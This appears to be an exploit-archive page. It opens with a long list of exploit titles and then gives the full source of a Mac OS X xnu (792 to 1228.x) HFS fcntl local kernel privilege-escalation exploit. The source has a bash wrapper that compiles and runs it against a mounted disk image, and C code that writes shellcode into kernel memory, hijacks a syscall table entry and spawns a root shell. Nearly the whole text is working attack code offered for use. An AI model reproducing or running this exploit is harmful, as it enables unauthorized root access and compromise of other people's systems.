
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
355 lines
No EOL
9.7 KiB
Bash
Executable file
355 lines
No EOL
9.7 KiB
Bash
Executable file
#!/bin/bash
|
|
# * xnu-hfs-fcntl-v2.sh
|
|
# *
|
|
# * Copyright (c) 2008 by <mu-b@digit-labs.org>
|
|
# *
|
|
# * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit
|
|
# * by mu-b - Sat 14 June 2008
|
|
# *
|
|
# * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)
|
|
# * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)
|
|
# *
|
|
# * - Private Source Code -DO NOT DISTRIBUTE -
|
|
# * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
|
|
# *
|
|
|
|
IMAGE=xnu-hfs
|
|
EXPFILE=xnu-hfs-fcntl-v2
|
|
|
|
echo -en "Apple MACOS X xnu <= 1228.x local kernel root exploit\n" \
|
|
"by: <mu-b@digit-labs.org>\n" \
|
|
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"
|
|
|
|
if [ ! -f $EXPFILE ]; then
|
|
echo -n "* compiling exploit..."
|
|
gcc -Wall $EXPFILE.c -o $EXPFILE 2> /dev/null
|
|
if [ $? != 0 ]; then
|
|
echo " failed"
|
|
exit $?
|
|
else
|
|
echo " done"
|
|
fi
|
|
fi
|
|
|
|
if [ ! -f $IMAGE.dmg ]; then
|
|
echo -n "* creating diskimage..."
|
|
hdiutil create -megabytes 1 -fs HFS+ -volname $IMAGE $IMAGE.dmg > /dev/null
|
|
if [ $? != 0 ]; then
|
|
echo " failed"
|
|
exit $?
|
|
else
|
|
echo " done"
|
|
fi
|
|
fi
|
|
|
|
echo -n "* attaching/mounting diskimage..."
|
|
hdiutil attach $IMAGE.dmg > /dev/null
|
|
if [ $? != 0 ]; then
|
|
echo " failed"
|
|
exit $?
|
|
else
|
|
echo " done"
|
|
fi
|
|
|
|
echo -e "* executing exploit...\n"
|
|
./$EXPFILE /Volumes/$IMAGE
|
|
|
|
echo -n "* detaching/unmounting diskimage..."
|
|
hdiutil detach /Volumes/$IMAGE > /dev/null
|
|
if [ $? != 0 ]; then
|
|
echo " failed"
|
|
exit $?
|
|
else
|
|
echo " done"
|
|
fi
|
|
|
|
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
|
|
/* xnu-hfs-fcntl-v2.c
|
|
*
|
|
* Copyright (c) 2008 by <mu-b@digit-labs.org>
|
|
*
|
|
* Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit
|
|
* by mu-b - Sat 14 June 2008
|
|
*
|
|
* - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)
|
|
* Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)
|
|
* Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)
|
|
* Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)
|
|
*
|
|
* - Private Source Code -DO NOT DISTRIBUTE -
|
|
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <string.h>
|
|
#include <sys/attr.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/utsname.h>
|
|
#include <unistd.h>
|
|
|
|
#define OSX_TIGER 0x04
|
|
#define OSX_LEOPARD 0x05
|
|
|
|
#define HFS_GET_BOOT_INFO 0x00010004
|
|
#define SYSCALL_NUM 21
|
|
#define TIGER_HIT_ADDY(a) ((a)+0x20+((sizeof (struct sysent)-sizeof (int))*SYSCALL_NUM))
|
|
#define LEOPARD_HIT_ADDY(a) ((a)+0x20+(sizeof (struct sysent)*SYSCALL_NUM))
|
|
|
|
/* 1228.x, bsd/sys/sysent.h */
|
|
struct sysent {
|
|
short sy_narg;
|
|
char sy_resv;
|
|
char sy_flags;
|
|
void *sy_call;
|
|
void *sy_arg_munge32;
|
|
void *sy_arg_munge64;
|
|
int sy_return_type;
|
|
short sy_arg_bytes;
|
|
};
|
|
|
|
static unsigned char ztiger[] =
|
|
"\x55"
|
|
"\x89\xe5"
|
|
"\x8b\x45\x08"
|
|
"\x8b\x40\x08"
|
|
"\xc7\x40\x10\x00\x00\x00\x00"
|
|
"\x31\xc0"
|
|
"\xc9"
|
|
"\xc3";
|
|
|
|
static unsigned char zleopard[] =
|
|
"\x55"
|
|
"\x89\xe5"
|
|
"\x8b\x45\x08"
|
|
"\x8b\x40\x64"
|
|
"\xc7\x40\x10\x00\x00\x00\x00"
|
|
"\x31\xc0"
|
|
"\xc9"
|
|
"\xc3";
|
|
|
|
static struct targets {
|
|
const char *name;
|
|
int shell_addr; /* ©right */
|
|
int sys_addr; /* &nsysent */
|
|
const int type;
|
|
} targets_t[] = {
|
|
/* tiger */
|
|
{ "root:xnu-792.14.14.obj~1/RELEASE_I386", 0x004518ac, 0x00451920, OSX_TIGER },
|
|
{ "root:xnu-792.18.15~1/RELEASE_I386", 0x004528ec, 0x00452960, OSX_TIGER },
|
|
{ "root:xnu-792.22.5~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER },
|
|
{ "root:xnu-792.25.20~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER },
|
|
/* leopard */
|
|
{ "root:xnu-1228~1/RELEASE_I386", 0x0050170c, 0x00501780, OSX_LEOPARD },
|
|
{ "root:xnu-1228.0.2~1/RELEASE_I386", 0x0050270c, 0x00502780, OSX_LEOPARD },
|
|
{ "root:xnu-1228.3.13~1/RELEASE_I386", 0x0050470c, 0x00504780, OSX_LEOPARD },
|
|
{ "root:xnu-1228.5.18~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },
|
|
{ "root:xnu-1228.5.20~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },
|
|
{ "root:xnu-1228.7.58~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },
|
|
{ "root:xnu-1228.9.59~1/RELEASE_I386", 0x0050A70c, 0x0050A780, OSX_LEOPARD },
|
|
{ NULL, 0, 0, 0 },
|
|
};
|
|
|
|
int
|
|
main (int argc, char **argv)
|
|
{
|
|
struct utsname p_uname;
|
|
struct sysent fsysent;
|
|
struct attrlist attr;
|
|
char buf_attr[2048], *ptr;
|
|
int shell_addr, sys_addr, sysent_addr;
|
|
int fd, id, i, n, type;
|
|
|
|
printf ("Apple MACOS X xnu <= 1228.x local kernel root exploit\n"
|
|
"by: <mu-b@digit-labs.org>\n"
|
|
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
|
|
|
|
if (argc < 2)
|
|
{
|
|
fprintf (stderr, "Usage: %s <hfs volume>\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
shell_addr = 0;
|
|
sys_addr = 0;
|
|
type = 0;
|
|
uname (&p_uname);
|
|
|
|
ptr = strrchr (p_uname.version, ' ') + 1;
|
|
for (i = 0; targets_t[i].name; i++)
|
|
if (strcmp (targets_t[i].name, ptr) == 0)
|
|
{
|
|
shell_addr = targets_t[i].shell_addr;
|
|
sys_addr = targets_t[i].sys_addr;
|
|
type = targets_t[i].type;
|
|
break;
|
|
}
|
|
|
|
if (targets_t[i].name == NULL)
|
|
{
|
|
fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n",
|
|
argv[0], ptr);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
printf ("* getattrlist...");
|
|
fflush (stdout);
|
|
|
|
attr.bitmapcount = ATTR_BIT_MAP_COUNT;
|
|
attr.commonattr = ATTR_CMN_FNDRINFO;
|
|
attr.volattr = 0;
|
|
attr.dirattr = 0;
|
|
attr.fileattr = 0;
|
|
attr.forkattr = 0;
|
|
n = getattrlist (argv[1], &attr, (void *) buf_attr, sizeof (buf_attr), 0);
|
|
if (n < 0)
|
|
{
|
|
fprintf (stderr, "\n%s: getattrlist failed\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
printf ("done\n");
|
|
|
|
printf ("** attrlist length: %d\n", *(int *) &buf_attr[0]);
|
|
printf ("** fndrinfo: ");
|
|
for (i = 4; i < *(int *) &buf_attr[0]; i++)
|
|
printf ("%c", buf_attr[i]);
|
|
printf ("\n* done\n\n");
|
|
|
|
if (type == OSX_TIGER)
|
|
memcpy (&buf_attr[4], ztiger, sizeof (ztiger) - 1);
|
|
else if (type == OSX_LEOPARD)
|
|
memcpy (&buf_attr[4], zleopard, sizeof (zleopard) - 1);
|
|
else
|
|
{
|
|
fprintf (stderr, "\n%s: unknown type!\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
printf ("* setattrlist...");
|
|
fflush (stdout);
|
|
|
|
attr.bitmapcount = ATTR_BIT_MAP_COUNT;
|
|
attr.commonattr = ATTR_CMN_FNDRINFO;
|
|
attr.volattr = ATTR_VOL_INFO;
|
|
attr.dirattr = 0;
|
|
attr.fileattr = 0;
|
|
attr.forkattr = 0;
|
|
n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0);
|
|
if (n < 0)
|
|
{
|
|
fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
printf ("done\n");
|
|
sleep (2);
|
|
|
|
fd = open (argv[1], O_RDONLY);
|
|
if (fd < 0)
|
|
{
|
|
fprintf (stderr, "%s: open failed\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
printf ("* overwriting @0x%08X\n", shell_addr);
|
|
fflush (stdout);
|
|
|
|
n = fcntl (fd, HFS_GET_BOOT_INFO, shell_addr);
|
|
if (n < 0)
|
|
{
|
|
fprintf (stderr, "%s: fcntl failed\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
printf ("* done\n\n");
|
|
|
|
fsysent.sy_narg = 1;
|
|
fsysent.sy_resv = 0;
|
|
fsysent.sy_flags = 0;
|
|
fsysent.sy_call = (void *) shell_addr;
|
|
fsysent.sy_arg_munge32 = NULL;
|
|
fsysent.sy_arg_munge64 = NULL;
|
|
fsysent.sy_return_type = 0;
|
|
fsysent.sy_arg_bytes = 4;
|
|
memcpy (&buf_attr[4], &fsysent, sizeof (struct sysent));
|
|
|
|
printf ("* setattrlist...");
|
|
fflush (stdout);
|
|
|
|
attr.bitmapcount = ATTR_BIT_MAP_COUNT;
|
|
attr.commonattr = ATTR_CMN_FNDRINFO;
|
|
attr.volattr = ATTR_VOL_INFO;
|
|
attr.dirattr = 0;
|
|
attr.fileattr = 0;
|
|
attr.forkattr = 0;
|
|
n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0);
|
|
if (n < 0)
|
|
{
|
|
fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
printf ("done\n");
|
|
sleep (2);
|
|
|
|
if (type == OSX_TIGER)
|
|
sysent_addr = TIGER_HIT_ADDY(sys_addr);
|
|
else if (type == OSX_LEOPARD)
|
|
sysent_addr = LEOPARD_HIT_ADDY(sys_addr);
|
|
else
|
|
{
|
|
fprintf (stderr, "\n%s: unknown type!\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
printf ("* overwriting @0x%08X\n", sysent_addr);
|
|
printf ("** sysent[%d].sy_call: 0x%08X\n", SYSCALL_NUM, shell_addr);
|
|
fflush (stdout);
|
|
|
|
n = fcntl (fd, HFS_GET_BOOT_INFO, sysent_addr);
|
|
if (n < 0)
|
|
{
|
|
fprintf (stderr, "%s: fcntl failed\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
printf ("* done\n\n");
|
|
|
|
printf ("* jumping...");
|
|
sleep (2);
|
|
|
|
n = syscall (SYSCALL_NUM, NULL);
|
|
printf ("done\n\n");
|
|
|
|
id = getuid ();
|
|
printf ("* getuid(): %d\n", id);
|
|
if (id == 0)
|
|
{
|
|
printf ("+Wh00t\n\n");
|
|
|
|
/* exec shell, for some reason execve doesn't work!?$! */
|
|
system ("/bin/bash");
|
|
}
|
|
else
|
|
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
|
|
|
|
return (EXIT_SUCCESS);
|
|
}
|
|
|
|
# milw0rm.com [2009-03-23] |